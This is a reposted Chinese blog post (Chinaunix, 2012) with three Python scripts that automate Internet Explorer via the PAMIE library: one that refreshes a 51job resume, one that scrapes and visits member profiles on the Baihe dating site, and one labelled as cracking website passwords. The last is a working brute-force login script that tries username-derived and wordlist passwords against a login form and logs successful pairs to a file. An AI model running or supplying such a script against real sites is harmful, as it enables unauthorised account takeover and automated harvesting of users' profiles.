Chinaunix首页 | 论坛 | 博客
  • 博客访问: 26856
  • 博文数量: 10
  • 博客积分: 25
  • 博客等级: 民兵
  • 技术积分: 60
  • 用 户 组: 普通用户
  • 注册时间: 2012-04-06 18:51
文章分类
文章存档

2012年(10)

我的朋友

分类:

2012-08-17 09:13:37

原文地址:python 模拟IE 作者:laoliulaoliu

http://blog.csdn.net/yatere/article/details/7219093
51job自动更新简历python脚本


  1. import pam,time
  2. ie=pam.PAMIE()
  3. ie.navigate("")
  4. ie.setTextBox('username','12345')
  5. ie.setTextBox('userpwd','12345')
  6. ie.submitForm('signin')
  7. ie.clickLink('个人中心')
  8. ie.executeJavaScript("RefreshResume(12850111,0,'')")
  9. time.sleep(1)
  10. ie.executeJavaScript("Save_RefreshResume('12850111','0','')")
  11. ie.quit()

http://blog.csdn.net/yatere/article/details/7218689
百合网站的模拟IE外挂
  1. import pam,re,time
  2. ie=pam.PAMIE()
  3. ie.navigate("")
  4. ie.setTextBox('txtLoginEMail','00000@163.com')
  5. ie.setTextBox('txtLoginPwd','00000')
  6. ie.submitForm('loginForm')
  7. ie.clickLink('在线会员')
  8. ie.selectListBox('minAge','22')
  9. ie.selectListBox('maxAge','30')
  10.   
  11. ie.selectListBox('Online_Province','湖北') #湖北 8642
  12. ie.executeJavaScript('getCity()')
  13. ie.selectListBox('Online_City','武汉') #武汉 864201
  14.   
  15. ie.setCheckBox('checkPhoto',1) #选择有相片
  16.   
  17. ie.executeJavaScript('flushNewUsers(0)')
  18.   
  19. lst=[]
  20. i=3
  21.   
  22. while(i>0):
  23.     i=i-1
  24.     ie.executeJavaScript('closeMsgDiv()')
  25.     a=ie.outerHTML()
  26.     b=re.finditer('useridInImg=\"(\d+?)\"',a,re.IGNORECASE)
  27.     for k in b:
  28.         lst.append(k.group(1))
  29.     ie.executeJavaScript('flushNewUsers(1)')
  30.   
  31.           
  32. lst=list(set(lst))
  33.   
  34.   
  35. print('共',len(lst),'用户')
  36. t=1
  37. for l in lst:
  38.     print('正在访问第',t,'位用户:',l)
  39.     t=t+1
  40.     ie.navigate(''+str(l))
  41.   
  42. ie.quit()

http://blog.csdn.net/yatere/article/details/7220516
工作需要的网站用户密码破解


  1.     import pam,fileinput
  2.     ie=pam.PAMIE()
  3.       
  4.       
  5.     def chk(uname,upass):
  6.         ie
  7.         ie.navigate('')
  8.         ie.navigate('')
  9.         ie.setTextBox('uname',uname)
  10.         ie.setTextBox('pass',upass)
  11.         ie.clickButton('登录')
  12.         if(ie.outerHTML().find('Invalid')>0):
  13.             return False
  14.         else:
  15.             print('以上用户破解成功\n')
  16.             return True
  17.       
  18.     lst=['','1','12','123','1234','12345','good']
  19.       
  20.     def wt(uname,upass):
  21.         res=open('ok.txt','at')
  22.         print(uname,' :\t',upass,file=res)
  23.         res.close()
  24.       
  25.     fu=fileinput.FileInput('user.txt')
  26.     fp=fileinput.FileInput('pass.txt')
  27.       
  28.     for i in fu:
  29.         uname=fu.readline().replace('\n','')
  30.         for k in lst:
  31.             upass=uname+k
  32.             print('测试用户:',uname,' 密码:',upass)
  33.             if(chk(uname,upass)):
  34.                 wt(uname,upass)
  35.       
  36.           
  37.         for l in fp:
  38.             upass=fp.readline().replace('\n','')
  39.             print('测试用户:',uname,' 密码:',upass)
  40.             if(chk(uname,upass)):
  41.                 wt(uname,upass)
  42.           
  43.           
  44.       
  45.       
  46.     ie.quit()


阅读(1801) | 评论(0) | 转发(0) |
0

上一篇:time in the linux

下一篇:没有了

给主人留下些什么吧!~~